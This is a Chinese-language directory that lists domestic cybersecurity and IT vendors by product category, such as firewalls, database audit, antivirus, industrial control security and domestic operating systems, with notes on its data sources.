• 网络准入控制：北信源、无锡宝界、蓝盾、互普&溢信（IP-Guard）、启明星辰、金盾软件、广州国迈、盈高科技、画方科技、联软、中软、上讯信息、交大捷普、信安世纪、中孚信息、上海纽盾、艾科网信、海峡信息、博智软件、江民科技、亚东软件
• 负载均衡：深信服、北京中科四方、东华软件、信安世纪、灵州网络、北京华夏创新、北京楷然昊天、上海云速、湖南麒麟、杭州迪普、启明星辰、南京易安联、上海纽盾、Panabit、北京擎企、H3C、弘积科技、北京远为软件、福建伊时代
• 应用交付：智恒科技、深信服、信安世纪、瑞友天翼、360、天融信、东软、任子行、优炫、中科曙光、弘积科技
• 加密机/密码机：江南科友、网御星云、天融信、三未信安、山东得安、卫士通、山东渔翁、无锡江南、江南天安、江南博仁、兴唐通信、中安网脉、君众甲匠、立思辰、江南信安、山东确信、信安世纪
• DNS安全：电信云堤、厦门帝恩思、知道创宇
• 不良信息识别与监测：金惠科技

• 桌面管理/主机审计：北信源、汉邦、联软、蓝盾、互普&溢信（IP-Guard）、启明星辰、网御星云、360、天融信、金盾软件、广州国迈、软云神州、哈尔滨朗威、上海创多、深圳金天眼、杭州正杰、浙江远望电子、北京盖特佳、峰盛科技、中软、卫士通、沈阳通软、圣博润、上讯信息、交大捷普、中孚信息、上海浩迈、金山、海峡信息、博智软件、江民科技、江南信安、山丽信息、亚东软件、706所、中电瑞铠
• 单机防病毒：瑞星、江民科技、金山、360、百度、腾讯、东方微点、费尔、火绒、亚信安全、安天、博智软件
• 网络防病毒：瑞星、360、金山、江民科技、东方微点、北信源、亚信安全、安天、博智软件
• 主机文档加密与权限控制/HDLP：亿赛通、天锐绿盾、时代亿信、明朝万达、蓝盾、互普&溢信（IP-Guard）、北信源、金盾软件、启明星辰、北京盖特佳、峰盛科技、中软、卫士通、上海祥殷、上海前沿、杭州华途、江苏敏捷、思智泰克、交大捷普、中孚信息、福州深空、天融信、思睿嘉得、合力思腾、深圳虹安、上讯信息、成都力合智远、莱克斯、365数据安全/四川西图、山东申启、金山、天空卫士、锐思特、赛猊腾龙、海峡信息、深信达、博智软件、江民科技、天喻软件、上海谐桐、亚东软件、武汉百易时代
• 源代码加密及嵌入式开发源码加密：深信达、明朝万达、亿赛通、IP-Guard、山丽信息、天锐绿盾、互普&溢信（IP-Guard）、中软、虹安
• 主机安全加固：浪潮、椒图、安全狗、广州国迈、中软华泰、上海观安、可信华泰、中嘉华诚、中航嘉信、易路平安、亚信安全、安天、优炫、安普诺、中超伟业、中科曙光、神荼科技、青藤云安全、安恒信息
• 终端登录/身份认证：上海格尔、吉大正元、卫士通、信安世纪、上讯信息、南京易安联、北信源、九州云腾、中孚信息、博智软件、哈尔滨朗威
• 移动存储介质管理：北信源、北京天桥、启明星辰、金盾软件、广州国迈、哈尔滨朗威、上海创多、亿赛通、交大捷普、上海浩迈、上海格尔、安天、金山、天喻软件、山丽信息、亚东软件
• 补丁管理：北信源、360、启明星辰、金盾软件、上海创多、交大捷普、亚信安全、金山
• 打印安全/打印管理/打印审计：北京恒安讯佳、北信源、中孚信息、安普锐、天锐绿盾、金山、保旺达、哈尔滨朗威、天喻软件、瑞达信息、山丽信息、武汉百易时代、鼎盾科技、思为同飞

• 网页防篡改：安恒信息、智恒科技、赛蓝、山东中创、绿盟科技、启明星辰、上海天存、上海天泰、福州深空、北京通元、国舜股份、蓝盾、安全狗、WebRay远江、杭州迪普、上讯信息、交大捷普、青松云安全、海峡信息、江民科技、立思辰、六壬网安
• Web应用防火墙·WAF·硬件：安恒信息、启明星辰、绿盟科技、天融信、铱迅信息、知道创宇、上海天泰、杭州迪普、山东中创、WebRay远江、蓝盾、北京千来信安、中新网安、软云神州、中软华泰、上讯信息、上海天存、利谱、交大捷普、任子行、中铁信睿安、上海纽盾、360、卫达安全、金电网安、安赛创想、东软、海峡信息、安信华、博智软件、山石网科、江民科技、立思辰、六壬网安、安码科技、神荼科技
• Web应用防火墙·WAF·软件：福州深空、安恒信息、铱迅信息、安全狗、云锁、青松云安全、上海天存、安码科技
• Web应用防火墙·服务&云WAF：安恒信息、阿里云、腾讯云、360、知道创宇、上海有云、湖盟、百度安全/安全宝、蓝盾、北京千来信安、中软华泰、上讯信息、快云、斗象科技/网藤风险感知、网宿科技、上海云盾、青松云安全、电信云堤、UCloud、数梦工场
• WEB漏洞扫描：安恒信息、四叶草安全、国舜股份、绿盟科技、知道创宇、WebRay远江、安赛创想、安犬漏洞扫描云平台、启明星辰、经纬信安、上海观安、斗象科技/漏洞盒子/网藤风险感知、恒安嘉新、安识科技、H3C、六壬网安、安码科技
• 网站安全监测产品：安恒信息、绿盟科技、知道创宇、360、WebRay远江、任子行、四叶草安全、安全狗、恒安嘉新、安信华、H3C、江民科技、安普诺、立思辰、浙江乾冠
• 网站安全监测服务：安恒信息、绿盟科技、知道创宇、360、百度安全/安全宝、WebRay远江、北京千来信安、任子行、安全狗、恒安嘉新、四叶草安全、浙江乾冠
• 邮件安全产品：守内安、网际思安、蓝盾、敏讯、冠群金辰、盈世CoreMail、时代亿信、上海格尔、安宁、凌久、国瑞信安、蓝海星、北京方向标、上海青羽/靠谱邮件、亚信安全、安宁、安普诺、武汉百易时代
• 数据库漏洞扫描：安恒信息、安信通、安华金和、建恒信安、中安星云、杭州闪捷
• 数据库防火墙：安恒信息、安华金和、中安比特/中安威士、帕拉迪/汉领信息、杭州美创、中安星云、杭州闪捷
• 数据库加密和脱敏：中安比特/中安威士、安华金和、迈科龙、中安星云、杭州美创、上海观安、优炫、广州鼎甲、杭州闪捷
• 数据库审计：安恒信息、安华金和、思福迪、启明星辰、网御星云、天融信、极地银河、山东中创、蓝盾、北信源、莱克斯、软云神州、绿盟科技、上讯信息、中安比特/中安威士、交大捷普、金盾软件、昂楷科技、帕拉迪/汉领信息、上海纽盾、东软、杭州美创、优炫、海峡信息、安信华、博智软件、中安星云、东华软件、六壬网安、思为同飞、706所、杭州闪捷
• 半自动&自动化渗透平台：安恒信息、安络科技、四叶草安全
• 应用统一身份管理/身份认证/单点登录/认证网关/PKI/CA/数字证书/令牌/各种KEY：天诚安信、派拉软件、神州融信、上海格尔、天威诚信、信安世纪、东软、吉大正元、安识科技、北京安讯奔、九州云腾、中科曙光、洋葱安全、极验验证、立思辰、江南信安、山东确信 | 各省都有CA，这个就单列了、中科恒伦、上海林果、福建伊时代
• 代码防火墙：上海观安
• 加密安全设备/NDLP：福建伊时代、时代亿信、365数据安全、天空卫士、思为同飞
• 反钓鱼/反欺诈：电信云堤、国舜股份、知道创宇、百度、阿里、腾讯、360、安天、亚信安全、安恒信息、江民科技、华青融天
• 语音安全：北京无限互联

• 数据备份：上海爱数、杭州美创、火星高科&亚细亚智业、苏州美天网络、信核数据、上讯信息、英方股份、上海联鼎、亿备&广州鼎鼎、和力记易、广州鼎甲、安码科技、南京壹进制、浪擎科技、福建伊时代
• 虚拟机备份与恢复：成都云祺、英方股份、和力记易、广州鼎甲、北京远为软件
• 数据清除工具：中孚信息、北京天桥、上海浩迈、万里红、中超伟业、博智软件、方德信安、哈尔滨朗威

• 虚拟化安全防护：安恒信息、启明星辰、广州国迈、北信源、中软、南京易安联、山石网科、阿姆瑞特、上海观安、东软、安全狗、云锁、亚信安全、金山、蓝盾、北京远为软件
• 手机防病毒：腾讯、瑞星、金山、360、网秦、百度、中软、安天、恒安嘉新、亚信安全、蓝盾
• 移动终端管理/EMM/MDM：国信灵通/启迪国信、北信源、360、明朝万达、中软、安天、上讯信息、北京珊瑚灵御、亚信安全、金山、蓝盾、江民科技、江南信安
• CASB/云业务安全接入代理：炼石网络、云安宝、信云科技、绿盟科技、启明星辰
• 手机APP安全：梆梆安全、北京智游网安/爱加密、阿里聚安全、360、任子行、北京鼎源科技、腾讯御安全、恒安嘉新、安普诺、安码科技
• 基于云的安全服务：青松云安全、青藤云安全、百度云、腾讯云、阿里云、360、华为、安全宝、山石网科、万般上品、东软、卫达安全、白帽汇、海峡信息、四叶草安全、中国电信·安全帮 | 此条目待调整、待完善！
• 大数据安全：安恒信息、启明星辰、绿盟科技、360、派拉软件、观数科技、瀚思、天行网安、上海观安、聚铭网络、中孚信息、恒安嘉新、志翔科技、知道创宇、科来公司、安码科技、杭州美创 | 这是一个比较纠结的分类，因为牵扯到的内容太多……现在主流的安全厂家几乎都能做一部分，但是……这个分类可能近期会做细化

• SIEM/日志管理/日志审计/SOC/安管平台：安恒信息、思福迪、360、天融信、启明星辰、东软、蓝盾、蚁巡、江南天安、北信源、上讯信息、赛克蓝德、神州泰岳、交大捷普、派拉软件、瀚思、中铁信睿安、聚铭网络、华清信安、上海纽盾、亚信安全、优炫、安信华、H3C、华青融天、安码科技、北京中安智达、706所、福建伊时代
• 运维审计/4A/堡垒机：安恒信息、思福迪、帕拉迪/汉领信息、浙江齐治、尚思科技、江南科友、绿盟科技、天融信、启明星辰、建恒信安、蓝盾、华为、泰然神州、上海艺赛旗、北京极地、信安世纪、圣博润、江南天安、国迈、上讯信息、神州泰岳、亿阳信通、麒麟、云安宝、交大捷普、德讯科技、任子行、派拉软件、上海观安、金盾软件、智恒科技、东软、金电网安、亚信安全、北京安讯奔、盛世光明、优炫、海峡信息、保旺达、安信华、中科曙光、六壬网安
• 网管软件/ITIL：广通信达、网强、汉远网智、北塔、蚁巡、华为、锐捷、摩卡[华胜天成]、国聿、上讯信息、交大捷普、飞思安诺/飞思网巡、恒安嘉新、优炫、艾科网信、海峡信息、迈科网络、东华软件
• 漏洞扫描与管理：安恒信息、榕基、启明星辰、绿盟科技、铱迅信息、极地银河、蓝盾、WebRay远江、江南天安、杭州迪普、天融信、交大捷普、安犬漏洞扫描云平台、经纬信安、上海观安、中铁信睿安、斗象科技/漏洞盒子/网藤风险感知、宿州东辉、四叶草安全、恒安嘉新、安天、蓝盾、君众甲匠、博智软件、中科网威、立思辰、六壬网安、安普诺
• 网络和主机配置核查系统：安恒信息、思福迪、绿盟科技、启明星辰、聚铭网络、北京随方信息、博智软件
• 主机安全保密检查工具：中孚信息、北信源、北京天桥、哈尔滨朗威、万里红、华安保、上海浩迈、博智软件、方德信安
• 信息安全等级保护测评工具箱：安恒信息、国瑞信安、圣博润、公安一所、锐安 | 注：市面上多家厂家均生产此产品，但公安部仅指定了5家作为“合格的”生产单位！
• 网络安全态势感知：安恒信息、知道创宇、360、绿盟科技、WebRay远江盛邦、四叶草安全、任子行、上海观安、兰云科技、聚铭网络、恒安嘉新、白帽汇、杭州合众、亚信安全、安天、郑州赛欧思、江民科技、科来公司、安码科技
• 应急处置工具箱：安恒信息

• 工控防火墙：中科网威、威努特、匡恩网络、谷神星、海天炜业、力控华康、天地和兴、安点科技、网藤科技、卫达安全、博智软件、九略智能
• 工控安全审计：威努特、天地和兴、匡恩网络、网藤科技、斗象科技/漏洞盒子/网藤风险感知、安点科技、博智软件、安恒信息、知道创宇、中科网威
• 工控漏洞扫描/挖掘：天地和兴、匡恩网络、网藤科技、斗象科技/漏洞盒子/网藤风险感知、博智软件、知道创宇
• 工控安管平台：天地和兴、匡恩网络、中科网威
• 工控主机安全防护：天地和兴、网藤科技、安点科技、九略智能
• 工控入侵检测/威胁感知/入侵防御：安点科技、天地和兴、网藤科技、博智软件、科来公司、中科网威
• 工控网闸：安点科技、中科网威
• 工控防泄密：匡恩网络
• 工控检查工具箱：安恒信息、
• 工控蜜罐：匡恩网络、
• 工控攻防实验室：匡恩网络、网藤科技、博智软件
• 工控态势感知：安恒信息、博智软件、360、知道创宇、浙江乾冠、九略智能

• 数据来源于申威产业联盟、龙芯产业联盟、中关村可信计算产业联盟自主可信专委会；
• 就自主可控行业的特殊性而言，很多大厂商是作为特供产品进行市场宣传，而小厂商只作为品牌规划，并没有特殊宣传，在数据收集时可能会导致内容不全面；
• 对于名单中未涉及的厂商，可以单独联系， 告知欲添加的分类、公司名称（需在上述3个联盟中）；
• 感谢中关村可信联盟自主可信专委会相关工作人员整理！
• 防火墙：中科神威、天融信、网御星云、东软、中科曙光、蓝盾、中航鸿电、中船综合院、706所
• 入侵检测/防御：中科神威、网神、中科曙光、安恒信息 、绿盟科技、汉柏
• 漏洞扫描系统：中科神威、安恒信息 、绿盟科技
• 安全管理平台：启明星辰、中科神威、360
• 网闸/安全隔离与信息单向导入设备：国保金泰、中科神威、北京安盟、赛博兴安
• 加密机：江南天安
• 终端安全：北信源、江民科技
• Web应用防火墙：上海天泰
• 堡垒机：建恒信安、江南寰宇
• 负载均衡：般固科技
• 防毒墙：江民科技
• 备份一体机：壹进制
• 网络流量分析：北京卓迅
• 网络准入控制：画方科技
• 存储：创新科、同有飞骥

• 舆情监控：中国舆情网、优捷信达、乐思、红麦、中科点击、泰一舆情、探宝、拓尔思、本果、软云神州、西盈、任子行、网藤风险感知、南京快页数码、博智软件、北京中安智达
• 威胁情报：微步在线、上海观安、斗象科技/http://FreeBuf.com/漏洞盒子、恒安嘉新、白帽汇、天际友盟、知道创宇、360、安恒信息
• 国产操作系统：Deepin深度、RedFlag红旗、Kylin麒麟、NeoKylin中标麒麟、StartOS起点/雨林木风OS、凝思磐石安全操作系统、共创Linux、思普Linux
• 国产数据库：达梦数据库、东软OpenBASE、国信贝斯iBase、人大金仓KingBase、南大通用GBase
• 业务风控安全：锦佰安、指掌易、邦盛、岂安、行邑、同盾、通付盾
• 蜜罐：安恒信息、三零卫士、凌晨网络、绿盟科技、默安科技
• 安全硬件平台/工控机：新汉、阿普奇、盛博、集智达、英德斯、福升威尔、华北科技、艾宝、华北工控、研祥、祈飞、研华，立华，惠尔，智威智能
• 数据恢复：苏州美天网络、金山安全、易数科技、华客、飞客、众成、博智软件
• 数据库准入：杭州美创
• 数据库堡垒机：杭州美创
• 红黑电源滤波插座：保旺达、启航智通
• 电磁屏蔽柜：启航智通、信安邦
• 数字取证：美亚柏科、盘石软件
• 安全计算机：瑞达信息